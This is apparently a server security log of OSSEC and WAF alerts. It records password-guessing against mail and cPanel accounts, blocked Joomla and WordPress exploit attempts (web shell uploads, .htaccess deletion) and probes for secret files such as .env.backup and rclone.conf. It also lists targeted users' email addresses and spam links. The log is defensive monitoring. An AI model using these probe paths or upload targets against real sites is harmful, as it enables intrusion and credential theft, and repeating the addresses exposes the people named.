2026-07-09 17:52:07 dovecot_login authenticator failed for H=(RdYghpAA) [31.57.184.56]:61449: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:52:57 dovecot_login authenticator failed for H=(qAaxrK4M) [31.57.184.56]:50181: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.176.82.76
country_id: 2464461
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.122.80.21
country_id: 953987
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2019/index.html HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:53:54 dovecot_login authenticator failed for H=(bmqLro4MC2) [31.57.184.56]:55010: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:55:30 dovecot_login authenticator failed for H=(MYrtfqX5) [31.57.184.56]:52847: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:55:57 dovecot_login authenticator failed for H=(WpSfm29rsT) [31.57.184.56]:57232: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.182.67
country_id: 3190538
description:
[2026-07-09 17:56:16 +0530] info [cpaneld] 130.12.182.67 - odmen "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:57:42 dovecot_login authenticator failed for H=(3AnR0gi3) [31.57.184.56]:56360: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:58:12 dovecot_login authenticator failed for H=(opq0g6) [31.57.184.56]:65243: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-09 17:58:46 dovecot_login authenticator failed for H=([211.178.165.251]) [182.95.119.30]:32774: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:59:08 dovecot_login authenticator failed for H=(HR72Ntw4D) [31.57.184.56]:60779: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 17:59:59 dovecot_login authenticator failed for H=(IIBNOmeb) [31.57.184.56]:52809: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:00:52 dovecot_login authenticator failed for H=(E9XwU7) [31.57.184.56]:54327: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:02:30 dovecot_login authenticator failed for H=(Dlqo1eVm8) [31.57.184.56]:64283: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:02:57 dovecot_login authenticator failed for H=(diPWnK) [31.57.184.56]:54225: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-09 18:04:37 dovecot_login authenticator failed for H=(244.252.163.220.broad.bs.yn.dynamic.163data.com.cn) [182.95.185.142]:43054: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:04:39 dovecot_login authenticator failed for H=(9J2HJX0) [31.57.184.56]:51565: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.52
country_id: 1668284
description:
2026-07-09 18:04:58 dovecot_login authenticator failed for H=110-25-109-52.adsl.fetnet.net (ipmapt-72-195-34-45.oc.oc.cox.net) [110.25.109.52]:55563: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:05:06 dovecot_login authenticator failed for H=(fXkCyxRo) [31.57.184.56]:52755: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:06:02 dovecot_login authenticator failed for H=(no8gSc) [31.57.184.56]:52700: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:07:16 dovecot_login authenticator failed for H=(B8aL033qYp) [31.57.184.56]:57070: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:08:07 dovecot_login authenticator failed for H=(1l4RUV3xI) [31.57.184.56]:50386: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 18:09:01 dovecot_login authenticator failed for H=(94dlcSukWx) [31.57.184.56]:49861: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.241.118
country_id: 2661886
description:
2026-07-09 18:09:28 dovecot_login authenticator failed for H=([182.42.113.10]) [188.126.241.118]:59046: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.129
country_id: 1269750
description:
2026-07-09 18:10:12 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [122.187.229.129]:60208: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77469916
abuser: 135.136.51.58
country_id: 798549
domain: sriganapathyent.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcezla582m0.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-09 18:16:27 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [207.254.71.129]:58075: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-09 18:16:53 dovecot_login authenticator failed for H=(net-188-219-104-210.cust.vodafonedsl.it) [103.120.116.162]:36974: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77469916
abuser: 125.164.16.151
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcez5jgi9au.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-09 18:18:20 dovecot_login authenticator failed for H=(net-188-219-104-210.cust.vodafonedsl.it) [144.24.209.174]:53269: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-09 18:27:41 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [61.37.150.6]:44291: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.228.242
country_id: 1036973
description:
2026-07-09 18:30:13 dovecot_login authenticator failed for H=(host241.sub-63-42-190.myvzw.com) [197.219.228.242]:49920: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 27.147.174.126
country_id: 1210997
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:45464.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f0525e1221c7366a24da8032cca853f182a3e440||Title:0x8179059c||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.30
country_id: 1269750
description:
2026-07-09 18:34:06 dovecot_login authenticator failed for H=([142.54.235.12]) [182.95.119.30]:60038: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.53.7.231
country_id: 6252001
description:
2026-07-09 18:34:29 dovecot_login authenticator failed for H=([91.86.88.24]) [64.53.7.231]:40248: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-09 18:35:25 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com (customer-187-218-57-50.uninet-ide.com.mx) [79.138.90.195]:51186: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.159.144.187
country_id: 1835841
description:
2026-07-09 18:35:10 dovecot_login authenticator failed for H=([111.57.17.167]) [218.159.144.187]:32871: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.170.35.16
country_id: 6252001
domain: sriganapathyent.in
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.27||T:APACHE||REQUEST_URI:/wp/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.170.35.16
country_id: 6252001
domain: ibmctradeflow.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.27||T:APACHE||REQUEST_URI:/shop/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-09 18:37:02 dovecot_login authenticator failed for H=([184.181.178.35]) [197.219.208.38]:50150: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.218.247.234
country_id: 1522867
description:
2026-07-09 18:45:03 dovecot_login authenticator failed for H=([117.252.93.114]) [89.218.247.234]:53274: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.158
country_id: 1269750
description:
2026-07-09 18:45:25 dovecot_login authenticator failed for H=(testmft.sedgwick.com) [182.95.185.158]:37028: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-09 18:49:40 dovecot_login authenticator failed for H=([174.77.111.220]) [190.157.13.210]:35126: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.0.90.82
country_id: 2077456
description:
2026-07-09 18:50:07 dovecot_login authenticator failed for H=210.0.90.82.static.nexnet.net.au ([194.62.136.207]) [210.0.90.82]:48204: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 157.157.221.26
country_id: 2629691
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-09 18:56:42 dovecot_login authenticator failed for H=([14.49.240.150]) [128.185.220.90]:60520: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.41.88
country_id: 1668284
description:
2026-07-09 18:56:07 dovecot_login authenticator failed for H=111-70-41-88.emome-ip.hinet.net ([39.171.42.206]) [111.70.41.88]:57225: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 130.12.182.67
country_id: 3190538
description:
[2026-07-09 18:56:21 +0530] info [cpaneld] 130.12.182.67 - JijoAphrem "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.89.128.6
country_id: 192950
description:
2026-07-09 18:56:28 dovecot_login authenticator failed for H=([189.20.109.209]) [41.89.128.6]:41484: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.141.252.55
country_id: 6252001
description:
2026-07-09 18:57:01 dovecot_login authenticator failed for H=([70.166.167.58]) [38.141.252.55]:40936: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-09 18:57:09 dovecot_login authenticator failed for H=([152.70.157.25]) [2.59.162.146]:34028: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-09 18:57:17 dovecot_login authenticator failed for H=([14.54.35.193]) [117.205.3.26]:57398: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-09 18:57:22 dovecot_login authenticator failed for H=([49.124.159.195]) [85.105.255.56]:36796: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-manali.html\">Manali call girls</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469914
abuser: 35.185.185.4
country_id: 1880251
domain: 220-mail.ibmcglobal.com
name:
IM360 WAF: Unauthenticated arbitrary file deletion in Tassos/Novarain Framework (nrframework) for Joomla (CVE-2026-48906)

description:
IM360 WAF: Unauthenticated arbitrary file deletion in Tassos/Novarain Framework (nrframework) for Joomla (CVE-2026-48906)||MVN:ARGS:remove_file||MV:images/.htaccess||RSV:8.27||T:APACHE||TGT:images/.htaccess||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 35.185.185.4
country_id: 1880251
domain: 220-mail.ibmcglobal.com
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.27||T:APACHE||MVN:ARGS:class||MV:JFormFieldNRInlineFileUpload||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-09 18:57:54 dovecot_login authenticator failed for H=([49.124.149.208]) [103.171.55.242]:38700: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-09 18:59:20 dovecot_login authenticator failed for H=([68.71.249.154]) [207.254.40.89]:59855: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.187.86
country_id: 1269750
description:
2026-07-09 18:59:26 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc0-112.dhcp.inet.fi) [182.95.187.86]:59050: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.211.59.59
country_id: 2328926
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/products/index.html HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-09 19:00:03 dovecot_login authenticator failed for H=([192.111.138.28]) [122.176.21.104]:33923: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.144.203
country_id: 2077456
description:
2026-07-09 19:00:52 dovecot_login authenticator failed for H=([45.164.115.86]) [203.221.144.203]:47921: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-09 19:03:43 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [152.52.198.42]:38404: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-09 19:04:23 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [182.95.181.50]:46266: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-09 19:05:48 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([174.64.199.92]) [218.219.193.151]:41344: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-09 19:06:02 dovecot_login authenticator failed for H=([49.124.155.154]) [65.191.211.33]:39992: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-09 19:08:06 dovecot_login authenticator failed for H=(nsg-static-178.227.75.182-airtel.com) [183.82.108.109]:34706: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 46.253.131.63
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/online-casino-tips/live-casino\">cialis and alcohol reddit</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.71.129
country_id: 2963597
description:
2026-07-09 19:08:58 dovecot_login authenticator failed for H=(95.105.52.153.static.str.ufanet.ru) [207.254.71.129]:63457: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 94.55.234.106
country_id: 298795
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-automation HTTP/1.1||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.58.229.4
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.fufucard.com/\">sell gift cards</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-09 19:10:08 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [59.12.212.38]:45408: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.5.117.238
country_id: 1694008
description:
2026-07-09 19:10:48 dovecot_login authenticator failed for H=([217.149.191.246]) [210.5.117.238]:65323: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 195.63.15.188
country_id: 6252001
domain: sriganapathyent.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icoqoskhq/fonts/imkkzvmx.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 185.155.233.254
country_id: 174982
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://telegra.ph/Dostavka-lyuksa-iz-zarubezhnyh-butikov-novye-uslugi-Oskelly-06-23\">\xd0\xbe\xd1\x81\xd0\xba\xd0\xb5\xd0\xbb\xd0\xbb\xd0\xb8 \xd0\xb8\xd0\xbd\xd1\x82\xd0\xb5\xd1\x80\xd0\xbd\xd0\xb5\xd1\x82 \xd0\xbc\xd0\xb0\xd0\xb3\xd0\xb0\xd0\xb7\xd0\xb8\xd0\xbd</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 23.180.120.148
country_id: 6252001
domain: ns2.ddgalaxy.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-4a25a9cd63dcc84351859a2feef118ec.xml.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-09 19:24:32 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([41.89.128.60]) [85.195.9.20]:54474: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.43.33.163
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:94773.futuracare.com.au||ServerName:futuracare.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:093e80574c67fec1ce0df6fb415ab7ac2ba89495||Title:0x3b5e6bc8||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 125.160.251.41
country_id: 1643084
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.96
country_id: 1733045
description:
2026-07-09 19:28:27 dovecot_login authenticator failed for H=([119.192.59.80]) [49.124.147.96]:48812: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.229.122.119
country_id: 2029969
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.7.200.152
country_id: 1861060
description:
2026-07-09 19:29:00 dovecot_login authenticator failed for H=v157-7-200-152.cwit.static.cnode.io ([116.178.155.143]) [157.7.200.152]:43900: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.152
country_id: 1835841
description:
2026-07-09 19:34:42 dovecot_login authenticator failed for H=([174.75.211.198]) [121.131.220.152]:37220: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.48.46.95
country_id: 3017382
description:
2026-07-09 19:34:55 dovecot_login authenticator failed for H=([121.131.220.137]) [5.48.46.95]:35772: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-09 19:36:41 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([77.74.34.30]) [111.70.11.38]:44343: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-09 19:36:23 dovecot_login authenticator failed for H=(82-209-191-11.cust.bredband2.com) [117.205.3.26]:55579: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.24.60.6
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/wireless-presentation-solutions HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.241.64.237
country_id: 1835841
description:
2026-07-09 19:41:51 dovecot_login authenticator failed for H=([94.228.240.2]) [1.241.64.237]:42848: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-09 19:42:25 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net ([203.172.213.166]) [111.70.9.143]:32877: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.211.188
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:ddgalaxy||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.28.211.189
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.27||T:APACHE||RA:104.28.211.189||TA:104.28.211.189||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 104.28.211.189
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.202.58
country_id: 1269750
description:
2026-07-09 19:43:41 dovecot_login authenticator failed for H=([41.220.3.113]) [122.186.202.58]:46200: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.211.189
country_id: 3017382
domain: ddgalaxy.in
description:
IM360 WAF: Bad file extension||RSV:8.27||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:ddgalaxy||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.220.9.73
country_id: 6251999
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/elegantautomotiv/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.29.219.54
country_id: 1835841
description:
2026-07-09 19:50:27 dovecot_login authenticator failed for H=([115.94.121.82]) [59.29.219.54]:57838: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.172.181.207
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://www.google.nl/url?sa=t&url=http://uvsprom.ru/component/k2/item/867-avtoklav-10-litrov/867-avtoklav-10-litrov\">http://www.google.nl/url?sa=t&url=http://uvsprom.ru/component/k2/item/867-avtoklav-10-litrov/867-avtoklav-10-litrov</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-09 19:50:58 dovecot_login authenticator failed for H=([65.20.141.202]) [182.95.102.190]:42882: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.249.6
country_id: 1269750
description:
2026-07-09 19:51:00 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [122.186.249.6]:48864: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77210831
